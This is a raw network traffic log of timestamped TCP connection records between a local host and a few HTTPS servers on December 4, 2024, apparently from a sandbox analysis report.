Dec 4, 2024 16:12:07.478317976 CET	49866	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:07.478492975 CET	49866	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:07.478503942 CET	443	49866	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:07.740854979 CET	443	49830	173.222.162.60	192.168.2.12
Dec 4, 2024 16:12:07.741003036 CET	49830	443	192.168.2.12	173.222.162.60
Dec 4, 2024 16:12:08.427812099 CET	443	49864	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.428008080 CET	443	49863	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.428453922 CET	49864	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.428484917 CET	443	49864	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.428514957 CET	443	49865	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.428563118 CET	443	49862	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.428771019 CET	49863	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.428788900 CET	443	49863	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.429147959 CET	49864	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.429156065 CET	443	49864	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.429438114 CET	49862	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.429466963 CET	443	49862	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.429564953 CET	49863	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.429569960 CET	443	49863	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.429925919 CET	49862	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.429932117 CET	443	49862	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.430131912 CET	49865	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.430169106 CET	443	49865	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.430787086 CET	49865	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.430795908 CET	443	49865	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.864250898 CET	443	49864	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.864317894 CET	443	49862	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.864332914 CET	443	49864	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.864406109 CET	49864	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.864439011 CET	443	49862	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.864481926 CET	49862	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.864609957 CET	49864	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.864629984 CET	443	49864	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.864641905 CET	49864	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.864648104 CET	443	49864	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.865087986 CET	443	49865	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.865138054 CET	443	49863	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.865150928 CET	443	49865	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.865190983 CET	49865	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.865202904 CET	443	49863	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.865248919 CET	49863	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.865811110 CET	49865	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.865835905 CET	443	49865	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.865853071 CET	49865	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.865858078 CET	443	49865	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.866609097 CET	49863	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.866609097 CET	49863	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.866626024 CET	443	49863	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.866635084 CET	443	49863	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.867271900 CET	49862	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.867290020 CET	443	49862	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.867304087 CET	49862	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.867307901 CET	443	49862	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.869913101 CET	49867	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.869960070 CET	443	49867	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.870022058 CET	49867	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.871083975 CET	49868	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.871113062 CET	443	49868	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.871160984 CET	49868	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.871237040 CET	49867	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.871254921 CET	443	49867	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.872219086 CET	49869	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.872240067 CET	443	49869	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.872288942 CET	49869	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.872392893 CET	49869	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.872401953 CET	443	49869	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.872467995 CET	49868	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.872482061 CET	443	49868	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.872940063 CET	49870	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.872948885 CET	443	49870	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:08.873003960 CET	49870	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.873096943 CET	49870	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:08.873106956 CET	443	49870	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:09.197274923 CET	443	49866	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:09.249241114 CET	49866	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:09.282149076 CET	49866	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:09.282169104 CET	443	49866	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:09.285550117 CET	49866	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:09.285554886 CET	443	49866	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:09.640943050 CET	443	49866	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:09.641033888 CET	443	49866	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:09.641092062 CET	49866	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:09.641257048 CET	49866	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:09.641277075 CET	443	49866	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:09.641288042 CET	49866	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:09.641294003 CET	443	49866	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:09.644234896 CET	49871	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:09.644287109 CET	443	49871	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:09.644359112 CET	49871	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:09.644499063 CET	49871	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:09.644512892 CET	443	49871	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:10.587955952 CET	443	49867	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:10.588892937 CET	49867	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:10.588918924 CET	443	49867	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:10.589339972 CET	49867	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:10.589350939 CET	443	49867	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:10.591228008 CET	443	49869	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:10.591506004 CET	49869	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:10.591516972 CET	443	49869	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:10.591837883 CET	49869	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:10.591842890 CET	443	49869	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:10.591846943 CET	443	49868	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:10.592391014 CET	49868	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:10.592391014 CET	49868	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:10.592403889 CET	443	49868	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:10.592417002 CET	443	49868	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.022485018 CET	443	49867	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.022640944 CET	443	49867	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.022866011 CET	49867	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.022927999 CET	49867	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.022927999 CET	49867	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.022949934 CET	443	49867	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.022963047 CET	443	49867	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.025757074 CET	49872	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.025806904 CET	443	49872	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.025880098 CET	49872	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.026299000 CET	49872	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.026315928 CET	443	49872	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.029508114 CET	443	49869	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.029587984 CET	443	49869	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.029669046 CET	49869	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.029831886 CET	49869	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.029831886 CET	49869	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.029849052 CET	443	49869	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.029861927 CET	443	49869	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.030371904 CET	443	49868	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.030450106 CET	443	49868	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.030514956 CET	49868	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.030929089 CET	49868	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.030929089 CET	49868	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.030946970 CET	443	49868	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.030956984 CET	443	49868	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.033411980 CET	49873	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.033468008 CET	443	49873	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.033531904 CET	49873	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.033591986 CET	49874	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.033639908 CET	443	49874	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.033693075 CET	49873	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.033716917 CET	49874	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.033716917 CET	443	49873	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.033881903 CET	49874	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.033904076 CET	443	49874	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.396755934 CET	443	49871	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.399498940 CET	49871	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.399523020 CET	443	49871	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.399955988 CET	49871	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.399961948 CET	443	49871	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.541752100 CET	443	49870	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.554131985 CET	49870	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.554162025 CET	443	49870	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.554617882 CET	49870	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.554621935 CET	443	49870	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.832381010 CET	443	49871	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.832459927 CET	443	49871	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.832505941 CET	49871	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.832680941 CET	49871	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.832707882 CET	443	49871	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.832721949 CET	49871	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.832727909 CET	443	49871	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.835545063 CET	49876	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.835572958 CET	443	49876	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.835638046 CET	49876	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.835772038 CET	49876	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.835784912 CET	443	49876	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.982717037 CET	443	49870	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.982836962 CET	443	49870	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.982924938 CET	49870	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.983146906 CET	49870	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.983146906 CET	49870	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.983169079 CET	443	49870	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.983177900 CET	443	49870	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.986366034 CET	49877	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.986412048 CET	443	49877	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:11.986592054 CET	49877	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.986713886 CET	49877	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:11.986726999 CET	443	49877	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:12.777571917 CET	443	49873	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:12.777924061 CET	443	49872	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:12.778131008 CET	443	49874	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:12.778198957 CET	49873	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:12.778253078 CET	443	49873	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:12.778660059 CET	49873	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:12.778671026 CET	443	49873	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:12.779059887 CET	49872	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:12.779083014 CET	443	49872	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:12.779793024 CET	49872	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:12.779798031 CET	443	49872	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:12.780333996 CET	49874	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:12.780344009 CET	443	49874	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:12.781033993 CET	49874	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:12.781038046 CET	443	49874	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.211816072 CET	443	49873	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.211889982 CET	443	49873	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.212188959 CET	49873	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.212512016 CET	443	49874	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.212527990 CET	49873	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.212553978 CET	443	49873	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.212567091 CET	49873	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.212573051 CET	443	49873	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.212584972 CET	443	49874	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.212624073 CET	49874	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.213078022 CET	443	49872	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.213138103 CET	443	49872	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.213182926 CET	49872	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.213726044 CET	49872	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.213743925 CET	443	49872	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.213756084 CET	49872	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.213761091 CET	443	49872	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.214850903 CET	49874	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.214855909 CET	443	49874	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.214867115 CET	49874	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.214869976 CET	443	49874	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.217365980 CET	49878	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.217395067 CET	443	49878	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.217458963 CET	49878	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.218291044 CET	49879	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.218323946 CET	443	49879	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.218383074 CET	49879	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.218765020 CET	49878	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.218776941 CET	443	49878	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.218854904 CET	49879	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.218866110 CET	443	49879	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.219402075 CET	49880	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.219435930 CET	443	49880	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.219494104 CET	49880	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.219602108 CET	49880	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.219613075 CET	443	49880	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.565308094 CET	443	49876	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.565831900 CET	49876	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.565857887 CET	443	49876	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.566301107 CET	49876	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.566307068 CET	443	49876	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.703660965 CET	443	49877	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.704140902 CET	49877	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.704159021 CET	443	49877	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:13.704581022 CET	49877	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:13.704586029 CET	443	49877	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.003144026 CET	443	49876	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.003246069 CET	443	49876	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.003325939 CET	49876	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.003685951 CET	49876	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.003706932 CET	443	49876	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.003721952 CET	49876	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.003730059 CET	443	49876	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.008008957 CET	49881	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.008040905 CET	443	49881	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.008135080 CET	49881	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.008428097 CET	49881	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.008439064 CET	443	49881	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.140048027 CET	443	49877	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.140136957 CET	443	49877	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.140188932 CET	49877	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.140388966 CET	49877	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.140388966 CET	49877	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.140409946 CET	443	49877	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.140419960 CET	443	49877	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.143553972 CET	49882	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.143604040 CET	443	49882	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.143663883 CET	49882	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.143802881 CET	49882	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.143814087 CET	443	49882	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.954782009 CET	443	49879	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.955053091 CET	443	49878	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.955352068 CET	443	49880	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.955427885 CET	49879	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.955451965 CET	443	49879	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.955650091 CET	49878	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.955658913 CET	443	49878	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.955988884 CET	49879	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.956007004 CET	443	49879	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.956119061 CET	49878	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.956124067 CET	443	49878	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.956268072 CET	49880	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.956293106 CET	443	49880	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:14.956631899 CET	49880	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:14.956643105 CET	443	49880	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.389251947 CET	443	49878	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.389270067 CET	443	49880	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.389342070 CET	443	49878	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.389348984 CET	443	49880	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.389509916 CET	443	49879	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.389539957 CET	49878	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.389544010 CET	49880	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.389604092 CET	443	49879	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.389653921 CET	49880	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.389672995 CET	443	49880	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.389681101 CET	49878	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.389689922 CET	49880	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.389697075 CET	443	49880	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.389694929 CET	49879	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.389700890 CET	443	49878	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.389715910 CET	49878	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.389720917 CET	443	49878	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.390336037 CET	49879	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.390336037 CET	49879	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.390363932 CET	443	49879	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.390394926 CET	443	49879	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.393238068 CET	49883	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.393275023 CET	49884	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.393289089 CET	443	49883	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.393307924 CET	443	49884	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.393378973 CET	49883	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.393563986 CET	49884	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.393565893 CET	49883	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.393579006 CET	443	49883	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.393692970 CET	49884	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.393703938 CET	443	49884	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.394035101 CET	49885	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.394090891 CET	443	49885	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.394148111 CET	49885	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.394264936 CET	49885	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.394279957 CET	443	49885	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.863507032 CET	443	49882	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.864157915 CET	49882	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.864193916 CET	443	49882	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:15.864629030 CET	49882	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:15.864635944 CET	443	49882	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:16.094841003 CET	49886	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:12:16.094877005 CET	443	49886	172.217.171.228	192.168.2.12
Dec 4, 2024 16:12:16.094969988 CET	49886	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:12:16.095321894 CET	49886	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:12:16.095334053 CET	443	49886	172.217.171.228	192.168.2.12
Dec 4, 2024 16:12:16.298244953 CET	443	49882	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:16.298321962 CET	443	49882	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:16.298407078 CET	49882	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:16.303999901 CET	49882	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:16.304020882 CET	443	49882	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:16.304044008 CET	49882	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:16.304049969 CET	443	49882	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:16.307090044 CET	49887	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:16.307149887 CET	443	49887	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:16.307219982 CET	49887	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:16.310862064 CET	49887	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:16.310900927 CET	443	49887	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:17.113523960 CET	443	49885	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:17.114003897 CET	443	49883	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:17.114131927 CET	49885	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:17.114173889 CET	443	49885	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:17.114595890 CET	49885	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:17.114602089 CET	443	49885	13.107.246.63	192.168.2.12
